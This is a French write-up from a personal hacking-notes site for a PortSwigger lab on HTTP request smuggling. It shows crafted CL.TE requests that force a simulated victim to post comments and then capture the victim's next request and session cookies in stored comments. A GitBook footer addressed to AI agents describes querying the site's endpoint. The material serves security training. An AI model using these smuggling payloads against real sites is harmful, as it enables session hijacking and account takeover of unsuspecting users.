> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/capturing-other-users-requests.md).
# Capturer les requêtes d’autres utilisateurs
Notes sur la capture des requêtes d’autres utilisateurs pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.
### Exploiter le HTTP Request Smuggling pour capturer les requêtes des autres utilisateurs
Le laboratoire configure un serveur front-end et un serveur back-end. Le front-end **ne prend pas en charge l'encodage chunked**. / L'objectif est de **contrebandier** une requête vers le back-end afin que **la prochaine requête de l'utilisateur** est **stockée par l'application**. / Ensuite, **récupérer cette requête** et utiliser les **cookies de la victime** pour accéder à son compte.
Le laboratoire simule un utilisateur victime : à chacune des quelques requêtes POST envoyées, la victime exécute sa propre requête. / Parfois, il est nécessaire de répéter l'attaque plusieurs fois.
> Bien que le laboratoire autorise HTTP/2, la solution doit utiliser **HTTP/1** car certaines techniques ne sont possibles que dans ce protocole. " " Le front-end interprète **Content-Length**, tandis que le back-end traite **Transfer-Encoding: chunked**, créant un décalage exploitable. " " L'extension Burp HTTP Request Smuggler peut aider à corriger manuellement les longueurs.
#### 1. **Requête interprétée par le front-end**
Le front-end lit `Content-Length: 13`, puis voit également `Transfer-Encoding: chunked`:
```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
postId=6
```
Après la fin du bloc (`0`), une requête back-end supplémentaire est ajoutée.
#### 2. **Injection d'une requête POST pour publier un commentaire**
Vous construisez une requête dissimulée contenant une deuxième requête complète :
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked
0
postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
Résultat : / La requête dissimulée est traitée comme si elle provenait de votre propre session, et l'application publie le commentaire.
#### 3. **Forcer la victime à publier un commentaire**
Vous modifiez le corps en :
{% code overflow="wrap" %}
```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
{% endcode %}
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
et envoyez une requête similaire. / Lors du rechargement, l'application affiche **Merci pour votre commentaire**, indiquant que la victime a publié ce commentaire.
#### 4. **Préparer la capture de la requête de la victime**
Pour capturer l'intégralité de la requête de l'utilisateur victime, vous augmentez considérablement la `Content-Length` afin que le back-end consomme la requête suivante comme contenu :
```http
Content-Length: 1000
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```
La requête suivante envoyée par la victime est alors absorbée dans le corps attendu... / et devient **consultable dans le stockage de l'application**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/capturing-other-users-requests.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
